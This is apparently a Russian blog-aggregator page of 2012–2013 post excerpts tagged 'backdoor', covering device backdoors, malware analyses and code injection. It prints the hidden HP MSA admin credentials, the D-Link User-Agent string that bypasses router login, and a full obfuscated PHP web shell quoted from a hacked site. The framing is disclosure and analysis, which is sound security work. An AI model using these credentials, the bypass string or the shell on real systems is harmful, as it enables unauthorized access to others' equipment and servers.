Занимаясь поиском информации на предмет мониторинга упомянутой полки средствами Zabbix, я совершенно случайно наткнулся на интересный пост, датированный 2010 годом. Как там утверждается, в этой полке есть скрытая учетка admin с дефолтным паролем «!admin», которая имеет полные права, аналогичные учетке manage. Я вбил эти учетные данные в веб-интерфейс одной из наших полок, имеющей актуальные обновления прошивки, и успешно зашел с правами manage.
Читать полностью »
Рубрика «backdoor» - 3
Backdoor в HP MSA P2000 G3
2013-12-02 в 11:59, admin, рубрики: backdoor, Железо, информационная безопасность, системное администрирование, метки: backdoorRSA Security заявила о наличии АНБ-бэкдора в своих продуктах
2013-11-05 в 5:04, admin, рубрики: backdoor, rsa, анб, информационная безопасность, криптография, паранойя mode on, метки: backdoor, rsa, анб, паранойя mode on 
Причем, еще 19 сентября.
А вот Microsoft, например, не заявило. Но об этом ниже.
Читать полностью »
Деобфускация бэкдора без единого буквенно-цифрового символа
2013-10-15 в 12:55, admin, рубрики: backdoor, php, Веб-разработка, взлом, Вирусы (и антивирусы), деобфускация, обфускация, хостинг, метки: backdoor, PHP, взлом, деобфускация, обфускация, хостингМесяц назад я увидел интересный пост про PHP-шелл без единого буквенно-цифрового символа и сильно захотел понять, что же он делает. Кому интересно — под кат!Читать полностью »
Очередная программная закладка в роутерах D-Link
2013-10-12 в 21:29, admin, рубрики: backdoor, d-link, бэкдор, информационная безопасность, Сетевое оборудование, метки: backdoor, d-link, бэкдор 
На информационном портале devttys0.com некто Craig Heffner – опытный специалист в области реверс-инжиниринга – выложил статью-исследование очередной (уже находили) программной закладки в роутерах D-Link. На этот раз закладка была выявлена в официальной прошивке для DIR-100 revA, но, по его мнению, присутствует в роутерах других серий:
- DIR-100
- DI-524
- DI-524UP
- DI-604S
- DI-604UP
- DI-604+
- TM-G5240
- Planex BRL-04UR
- Planex BRL-04CW
Коротко говоря, если у вашего браузера установлен User-Agent как «xmlset_roodkcableoj28840ybtide», то вы автоматически получаете админский доступ к веб-панели управления роутером без всякой авторизации.
Читать полностью »
PHP-шелл без единого буквенно-цифрового символа
2013-09-16 в 15:51, admin, рубрики: backdoor, php, shell, информационная безопасность, ненормальное программирование, метки: backdoor, PHP, shell, ненормальное программированиеВчера в блоге компании Sucuri появился любопытный вопрос: некий владелец сайта, обнаружив его взломанным, был немало удивлён, обнаружив следующий злонамеренный код; что именно он делает ?:
@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_;
$_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
$_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );
$_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
$_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ];
$_=$
$_[$__+ $__] ;$_[@-_]($_[@!+_] );
Как видно, в коде нет ни вызовов функций, ни вообще какого-либо буквенно-цифрового символа.
Читать полностью »
Бэкдор Win32/Syndicasec.A используется в операции кибершпионажа
2013-05-28 в 8:52, admin, рубрики: backdoor, targeted attack, Блог компании ESET NOD32, Вирусы (и антивирусы), метки: backdoor, targeted attackНедавно мы столкнулись с интересным образцом вредоносного кода, который обнаруживается ESET как Win32/Syndicasec.A. Он обращал на себя внимание по ряду следующих причин:
- Наша система телеметрии показывает весьма небольшой масштаб заражений данной угрозой, а география распространения ограничивается такими странами как Непал и Китай. Предыдущие версии этого вредоносного кода фиксировались нами начиная с 2010 года.
- Полезная нагрузка представляет из себя небольшой фрагмент кода на Javascript, который регистрируется с использованием подсистемы Windows WMI.
- Бэкдор использует веб-сайты поддельных блогов для получения информации о командных C&C серверах. Эти веб-сайты размещаются на доменах, зарегистрированных в Тибете.
- По своим характеристикам эта операция очень похожа на предыдущие шпионские кампании, направленные против тибетских активистов, такие как OS X Lamadai и другие.
Мы провели детальное исследование этого бэкдора и выяснили детали его установки на скомпрометированный компьютер, используемые им механизмы по поддержанию своего присутствия, а также детали взаимодействия с C&C сервером.
Linux/Cdorked.A: хроники нового Apache-бэкдора
2013-04-27 в 13:42, admin, рубрики: backdoor, linux, Блог компании ESET NOD32, Вирусы (и антивирусы), метки: backdoor, linuxНа прошлой неделе коллеги из Sucuri прислали нам модифицированную версию бинарного файла веб-сервера Apache, который перенаправлял некоторые, адресованные к нему запросы, на набор эксплойтов Blackhole Exploit Kit. Проведенный экспертами нашей антивирусной лаборатории анализ показал, что эта Linux-угроза, получившая название Linux/Cdorked.A, предназначена для перенаправления трафика на вредоносные сайты. Информация Sucuri об этом инциденте.
В процессе анализа мы пришли к выводу, что Linux/Cdorked.A представляет из себя наиболее сложный Linux-бэкдор из всех, что мы видели прежде. С помощью нашей облачной технологии ESET Live Grid мы получили статистику о сотнях скомпрометированных веб-серверов. В отличии от других подобных угроз, бэкдор не оставляет каких-либо следов своей деятельности на жестком диске скомпрометированного хоста, что заметно усложняет его обнаружение. Вместо этого, он хранит всю используемую им информацию в памяти, без привлечения жесткого диска. Кроме этого, злоумышленники используют обфусцированные HTTP-запросы для передачи служебной информации вредоносному коду, которые не фиксируются в лог-файле работы Apache. Таким образом следы взаимодействия вредоносного кода с C&C сервером также отсутствуют.
Burn-in рутовый шелл в IP-камерах Vesta и не только
2013-03-20 в 7:55, admin, рубрики: backdoor, ip-камера, root, telnet, vesta, информационная безопасность, Сетевое оборудование, метки: backdoor, ip-камера, root, telnet, vesta Так получилось, что передо мной встала задача записывать и хранить видео с IP-камер. Были закуплены и смонтированы камеры Vesta VC-6206 IR без представления архитектуры информационной системы на их основе. Совсем короткий период эксплуатации показал, что камеры имеют свойство зависать и неплохо бы их перезагружать периодически. nmap показывал, что у камеры доступен только telnet, http и rtsp. Ребутать камеру телнетом по крону показалось мне неплохим решением, но рутовый пароль техподдержка дать отказалась.
Читать полностью »
Бэкдор в phpMyAdmin
2012-09-26 в 22:00, admin, рубрики: backdoor, phpmyadmin, информационная безопасность, метки: backdoor, phpmyadmin25 сентября стало известно о компрометации одно из корейских зеркал SourceForge (cdnetworks-kr-1).
В архив phpMyAdmin-3.5.2.2-all-languages.zip, находящийся на этом зеркале был внедрен бэкдор.
Читать полностью »
Gray Hat Python — DLL и Code Injection
2012-09-17 в 13:09, admin, рубрики: backdoor, trojan, бэкдор, внедрение DLL, Песочница, троян, метки: backdoor, trojan, бэкдор, внедрение DLL, троянIntro
Порой, когда вы реверсите или атакуете программу, полезно иметь возможность загрузить и выполнить свой код в контексте исследуемого процесса. Крадете ли вы хэши паролей или получаете доступ к удаленному рабочему столу целевой системы, методы внедрения кода и dll-библиотек предоставляют мощные возможности. Мы создадим несколько простых утилит на Питоне, которые позволят вам использовать оба метода. Эти методы должны входить в арсенал каждого разработчика программ, эксплойтов, шелл-кодов и пентестеров. Мы будем использовать внедрение DLL (DLL injection) для запуска всплывающего окна внутри другого процесса. Так же мы будем использовать внедрение кода (code injection), чтобы протестировать шелл-код, разработанный для уничтожения какого-либо процесса основываясь на его PID. Под конец главы мы создадим и скомпилируем Trojan’a (с функционалом backdoor’a) полностью написанного на Python. В большей степени он будет опираться на внедрении кода и использовании некоторых других скрытых тактик, которые должен использовать каждый хороший бэкдор. Давайте начнем с рассмотрения темы создания удаленных потоков, которые являются основой для обоих методов внедрения.Читать полностью »